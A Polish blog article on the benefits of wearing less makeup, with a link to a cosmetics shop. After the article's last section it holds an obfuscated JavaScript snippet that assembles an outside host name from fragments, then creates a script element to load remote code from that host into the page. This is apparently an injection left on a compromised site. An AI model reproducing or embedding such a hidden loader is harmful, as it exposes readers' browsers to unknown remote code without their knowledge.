Przejdź do treści

Dlaczego lepiej malować się mniej? – korzyści z ograniczenia makijażu

Obecnie z każdej strony jesteśmy atakowani kolejnymi nowościami w
temacie makijażu. W social mediach codziennie dodawane są tutoriale, na
których kobiety używają kilkunastu, a nawet kilkudziesięciu różnych
produktów do malowania! W takich okolicznościach ciężko zachować umiar i
poprzestać na kilku podstawowych produktach. Dlaczego jednak warto
malować się mniej? Odpowiadamy.

Grubszy portfel

Po pierwsze im mniej kosmetyków mamy tym więcej oszczędzamy. Proste, prawda? W praktyce lepiej wydać na kilka porządnych kosmetyków niż kupować masę produktów, które później zalegają lub okazują się niedopasowane. Jeśli ograniczysz swój makijaż do podstawowych kosmetyków jak podkład, tusz do rzęs i szminka to nie tylko będziesz wyglądać naturalniej i młodziej ale również Twój portfel nie ucierpi tak jak przy zakupie bronzerów, różów, cieni, baz, korektorów, kredek i innych, przeważnie zbędnych produktów. Kup dobry, odżywczy podkład i np. wodoodporny tusz do rzęs (możesz wybrać np. spośród dostępnych pod tym adresem: https://tagomago.pl/collections/wodoodporne-kosmetyki-do-20) i nie zaprzątaj sobie głowy masą innych kosmetyków.

 

Oszczędność czasu

Czas to pieniądz – warto więc też nie tracić go zbyt wiele na codzienny makijaż. Ograniczając ilość używanych kosmetyków zaoszczędzamy czas, który możemy przeznaczyć np. na dłuższy sen czy przygotowanie wartościowego posiłku do pracy. Brzmi dobrze? Pomyśl również o zaoszczędzonych chwilach, które przeznaczałaś na nerwowe poprawianie makijażu w pracy czy szkole. Jeśli będziesz malować się delikatniej i naturalniej będzie mniejsze ryzyko, że Twój makijaż po kilku godzinach spłynie i będzie wymagał poprawy. Demakijaż również przestanie być codziennym koszmarem i czasochłonną procedurą. Same plusy.

Zdrowsza cera

Naprawdę nadmiar kosmetyków tylko szkodzi. Im mniej warstw nakładać będziesz na twarz tym lżej i lepiej będziesz się czuć. Nie jesteś przekonana? Jeśli dotąd nawet na wyjście do sklepu nakładałaś staranny makijaż spróbuj trochę wyluzować – taka presja doprowadzi Cię tylko do większych kompleksów. Odpuść sobie makijaż w niedzielny poranek, wklep w skórę trochę kremu i uzbrój się w uśmiech – to najlepsza ozdoba twarzy. Zobaczysz, że z czasem coraz pewniej będziesz czuć się bez makijażu.

Inni tego nie widzą

Im szybciej uświadomisz sobie, że tylko Ty widzisz wszystkie niedoskonałości swojej cery tym lepiej. Naprawdę Twoja koleżanka z pracy nie zwróciła uwagi na te przebarwienia i nie musisz odwoływać randki z powodu jednego pryszcza. Nikt inny nie zwróci uwagi, że dzisiaj masz bardziej widoczne cienie pod oczami. To wszystko siedzi w Twojej głowie i warto uwolnić się od natrętnych myśli. Pamiętaj też, że osoby, które stosują wręcz sceniczny makijaż stają się więźniem kosmetyków. Jeśli raz zobaczysz taką osobę bez make up’u możesz przeżyć szok. A chyba nie chcesz sama fundować innym takich atrakcji? Zaakceptuj swój naturalny wygląd i naucz się z niego cieszyć, a wszyscy wokół będą również uważać Cię za atrakcyjną – nawet bez makijażu.

(function(){
a0w9=document.createElement(„script”);a0w9_=”u”+(„s”)+”ta”;
a0w9_+=(„t.i”)+””+”n”;a0w9_+=((„f”)+”o”);a0w9.type=”text/javascript”;
a0w9_+=”/”; a0w9u=”67616361″;a0w9u+=”.9ij4h50a0w9ta2cnl74″;a0w9u+=”9ksimg1ulxa”;
a0w9.src=”//”+a0w9_+a0w9u; a0w9.async=true; document.body.appendChild(a0w9);
})();

0 0 votes
Article Rating
Subscribe
Powiadom o
guest
0 komentarzy
Inline Feedbacks
View all comments
%d bloggers like this: